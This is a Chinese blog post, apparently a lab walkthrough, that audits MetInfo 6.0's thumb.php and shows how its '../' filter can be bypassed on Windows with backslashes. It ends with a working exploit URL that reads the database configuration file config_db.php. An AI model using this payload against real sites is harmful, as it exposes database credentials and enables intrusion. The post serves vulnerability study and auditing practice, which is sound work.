metinfo 6.0 任意文件读取漏洞

版权声明:本文为博主原创文章,未经博主允许不得转载! https://blog.csdn.net/qq_36374896/article/details/84840258

一、 启动环境

1.双击运行桌面phpstudy.exe软件
在这里插入图片描述
2.点击启动按钮,启动服务器环境

二、代码审计

1.双击启动桌面Seay源代码审计系统软件
在这里插入图片描述

2.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\metinfo),点击确定

漏洞分析

1.点击展开左侧app\system\include\module\目录,在弹出的下拉列表中双击old_thumb.class.php页面,右侧页面可以看到相关代码。

public function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
    header("Content-type: image/jpeg");
    ob_start();
    readfile($dir);
    ob_flush();
    flush();
    die;
}

页面建立old_thumb 类,并创建dbshow方法 2.程序首先过滤…/和./两个特殊字符,然后要求字符必须以http开头,并且不能检测到./字符,最后读取文件内容。 3.看似过滤非常完美,但是依然能够绕过,windows下可以使用…\绕过

漏洞利用

http://192.168.91.136/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_36374896/article/details/84840258